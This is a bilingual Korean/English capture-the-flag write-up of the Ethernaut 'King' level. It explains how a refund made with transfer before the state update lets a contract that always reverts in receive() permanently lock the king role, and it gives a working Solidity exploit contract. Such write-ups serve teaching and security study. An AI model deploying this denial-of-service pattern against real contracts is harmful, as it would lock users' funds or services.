Ethernaut Writeup CTF/Wargame

Ethernaut 09 King

Ethernaut 09 King 문제 풀이Ethernaut 09 King writeup

Contents

문제

지문

King 컨트랙트는 더 많은 ETH를 보내면 현재 king을 밀어내고 새로운 king이 되는 구조다. 목표는 내가 king이 된 뒤, Ethernaut 레벨 컨트랙트가 다시 왕좌를 가져가지 못하게 만드는 것이다. 즉 단순히 더 많은 ETH를 보내서 king이 되는 것만으로는 부족하다. 이후 누군가가 receive()를 실행했을 때 이전 king에게 ETH를 돌려주는 과정이 실패하도록 만들어야 한다.

코드

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

배경지식


컨트랙트에 calldata 없이 ETH를 보내면 receive()가 실행된다. King에서는 ETH를 보내는 것만으로 왕 교체 로직이 실행된다.

solidity
receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
}

따라서 King 주소로 현재 prize 이상을 보내기만 하면 왕 교체 로직이 돈다.


transfer는 수신자에게 ETH를 보내고, 수신이 실패하면 전체 트랜잭션을 revert한다. King은 새 king을 기록하기 전에 먼저 기존 king에게 ETH를 돌려준다.

solidity
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;

이전 king이 ETH 수신을 거부하면 transfer가 실패하고, 그 아래의 king = msg.sender까지 도달하지 못한다.


공격 컨트랙트가 king이 된 뒤 receive()에서 항상 revert하도록 만들면, 이후 다른 주소가 왕을 뺏으려고 할 때 King이 공격 컨트랙트로 ETH를 돌려주다가 실패한다.

solidity
receive() external payable {
    revert("nope");
}

이렇게 되면 공격 컨트랙트는 한 번 왕이 된 뒤 계속 king으로 남는다.

문제 코드 분석


먼저 왕 교체 조건이다.

solidity
require(msg.value >= prize || msg.sender == owner);

일반 사용자는 현재 prize 이상을 보내야 receive()를 통과하고, owner는 금액 조건 없이 통과한다. 초기 owner와 king은 생성자인 Ethernaut Factory 쪽 주소다. 플레이어는 prize 이상을 보내서 먼저 king이 되어야 한다.


외부 호출은 여기서 일어난다.

solidity
payable(king).transfer(msg.value);

새 왕을 기록하기 전에 기존 왕에게 ETH를 보내는 구조다. 기존 왕이 EOA라면 보통 문제없이 ETH를 받는다. 하지만 기존 왕이 컨트랙트이고, 그 컨트랙트가 ETH 수신을 거부하면 transfer가 revert된다. 그래서 ETH를 받을 수 없는 공격 컨트랙트를 king으로 등록하면 된다.


상태 업데이트 순서는 다음과 같다.

solidity
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;

king과 prize는 transfer가 성공한 뒤에만 바뀐다. 즉 현재 king이 ETH 수신을 거부하면, 이후 도전자가 아무리 ETH를 보내도 king = msg.sender까지 실행되지 않는다. 이 순서 때문에 공격 컨트랙트가 왕좌를 잠글 수 있다.


King 레벨의 검증은 Factory가 다시 King 컨트랙트에 ETH를 보내보는 방식으로 진행된다.

solidity
(bool result,) = address(instance).call{value: 0}("");
!result;
return instance._king() != address(this);

Factory는 owner이기 때문에 msg.value가 0이어도 require(msg.value >= prize || msg.sender == owner)를 통과한다. 하지만 현재 king이 공격 컨트랙트라면, payable(king).transfer(0)도 공격 컨트랙트의 receive()를 실행한다. 공격 컨트랙트가 여기서 revert하므로 Factory의 호출은 실패하고, king은 공격 컨트랙트로 남는다.

풀이

공격 컨트랙트를 만들고, 생성자에서 King 인스턴스에 현재 prize 이상을 보낸다. 이때 msg.sender는 EOA가 아니라 공격 컨트랙트가 되므로 king에는 공격 컨트랙트 주소가 저장된다. 그 다음 공격 컨트랙트의 receive()를 항상 revert하게 둔다. 이후 Ethernaut Factory나 다른 사용자가 왕을 가져가려고 해도, King이 기존 왕인 공격 컨트랙트에게 ETH를 돌려주는 순간 호출이 실패한다.

익스플로잇

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {
    constructor(address payable target) payable {
        (bool ok,) = target.call{value: msg.value}("");
        require(ok, "failed to become king");
    }

    receive() external payable {
        revert("refuse ether");
    }
}

Challenge

Description

In the King contract, sending more ETH than the current prize pushes out the current king and makes you the new king. The goal is to become king and then prevent the Ethernaut level contract from reclaiming the throne. So simply sending more ETH to become king is not enough. We have to make the step that refunds ETH to the previous king fail when someone later triggers receive().

Code

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

Background


Sending ETH to a contract without calldata runs receive(). In King, sending ETH alone runs the king replacement logic.

solidity
receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
}

So sending at least the current prize to the King address is enough to trigger it.


transfer sends ETH to the recipient and reverts the entire transaction if receiving fails. King refunds ETH to the existing king before recording the new king.

solidity
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;

If the previous king refuses ETH, transfer fails and execution never reaches king = msg.sender below it.


If the attack contract becomes king and always reverts in receive(), then whenever another address later tries to take the throne, King fails while refunding ETH to the attack contract.

solidity
receive() external payable {
    revert("nope");
}

Once the attack contract becomes king, it stays king permanently.

Challenge code analysis


First, the king replacement condition:

solidity
require(msg.value >= prize || msg.sender == owner);

A regular user must send at least the current prize to pass receive(), while the owner passes with any amount. The initial owner and king are the deployer, the Ethernaut Factory address. The player first has to send at least prize to become king.


The external call happens here.

solidity
payable(king).transfer(msg.value);

ETH is sent to the existing king before the new king is recorded. If the existing king is an EOA, it normally receives the ETH without problems. But if the existing king is a contract that refuses ETH, transfer reverts. So the attack is to register a contract that cannot receive ETH as king.


Next, the order of state updates:

solidity
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;

king and prize change only after transfer succeeds. So if the current king refuses ETH, no matter how much ETH a challenger sends afterward, king = msg.sender is never executed. This ordering lets the attack contract lock the throne.


The King level is validated by the Factory sending ETH to the King contract again.

solidity
(bool result,) = address(instance).call{value: 0}("");
!result;
return instance._king() != address(this);

Since the Factory is the owner, it passes require(msg.value >= prize || msg.sender == owner) even with msg.value of 0. But if the current king is the attack contract, even payable(king).transfer(0) runs the attack contract's receive(). The attack contract reverts there, so the Factory's call fails and king remains the attack contract.

Solution

Write an attack contract that sends at least the current prize to the King instance in its constructor. Here msg.sender is the attack contract, not an EOA, so the attack contract's address is stored as king. Then make the attack contract's receive() always revert. After that, whenever the Ethernaut Factory or another user tries to take the throne, the call fails the moment King tries to refund ETH to the existing king, the attack contract.

Exploit

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {
    constructor(address payable target) payable {
        (bool ok,) = target.call{value: msg.value}("");
        require(ok, "failed to become king");
    }

    receive() external payable {
        revert("refuse ether");
    }
}
Esc

Search titles, content and code.